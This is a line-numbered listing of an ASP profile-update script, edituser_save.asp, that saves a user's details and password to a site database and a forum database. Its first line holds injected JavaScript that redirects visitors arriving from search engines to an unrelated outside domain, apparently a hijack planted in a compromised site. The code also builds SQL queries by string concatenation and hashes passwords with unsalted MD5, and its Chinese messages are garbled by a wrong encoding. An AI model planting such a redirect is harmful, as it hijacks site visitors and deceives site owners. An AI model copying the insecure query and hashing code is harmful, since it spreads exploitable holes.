d:\wwwroot\wuchunhua\edituser_save.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn_save.asp"-->
002: <!--#include file="md5.asp"-->
003: <%if session("china_uid")="" then
004: response.redirect "login.asp"
005: end if
006:
007: uid=HtmlEncode(trim(request.form("uid1")))
008: pwd=trim(request.form("pwd"))
009: username=HtmlEncode(trim(request.form("username")))
010: tel=HtmlEncode(trim(request.form("tel")))
011: if uid="" or pwd="" or username="" or tel="" then
012: response.write"<script>alert('ÇëÈÏÕæÌîд£¡');history.go(-1)</script>"
013: response.end
014: end if
015: email=HtmlEncode(trim(request.form("email")))
016: qq=HtmlEncode(trim(request.form("qq")))
017: add=HtmlEncode(trim(request.form("add")))
018: md=false
019: sql="select * from china_user where uid='"&session("china_uid")&"'"
020: set rs=server.createobject("adodb.recordset")
021: rs.open sql,conn,1,3
022: if uid<>"" then
023: if pwd=rs("pwd") then
024: rs("pwd")=pwd
025: else
026: rs("pwd")=md5(pwd)
027: md=true
028: end if
029: rs("username")=username
030: rs("tel")=tel
031: if email = "" then email = "δÌî"
032: rs("email")=email
033: if qq = "" then qq = "δÌî"
034: rs("qq")=qq
035: if add = "" then add = "δÌî"
036: rs("add")=add
037: rs.update
038: rs.close:set rs=nothing
039: sql="select * from china_data where uid='"&session("china_uid")&"'"
040: set rs=server.createobject("adodb.recordset")
041: rs.open sql,conn,1,3
042: if not rs.eof then
043: For iPage = 1 To rs.recordcount
044: rs("username")=username
045: rs("tel")=tel
046: rs.update
047: rs.movenext    
048: if rs.eof then exit for
049: next
050: rs.close:set rs=nothing
051: conn.close:set conn=nothing
052: end if
053: if md then
054: Db = "bbs/DataBase/tcbbs7.asp"   'Êý¾Ý¿â·¾¶
055: Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(db)
056: Set Conn1=Server.CreateObject("ADODB.Connection")
057: Conn1.open ConnStr
058: conn1.execute("update [BBSXP_Users] set Userpass='"&md5(pwd)&"' where username='"&session("china_uid")&"'")
059: conn1.close:set conn1=nothing
060: end if
061: response.write"<script>alert('Ð޸ijɹ¦£¡');location='edituser.asp'</script>"
062: end if%
>
063:
064: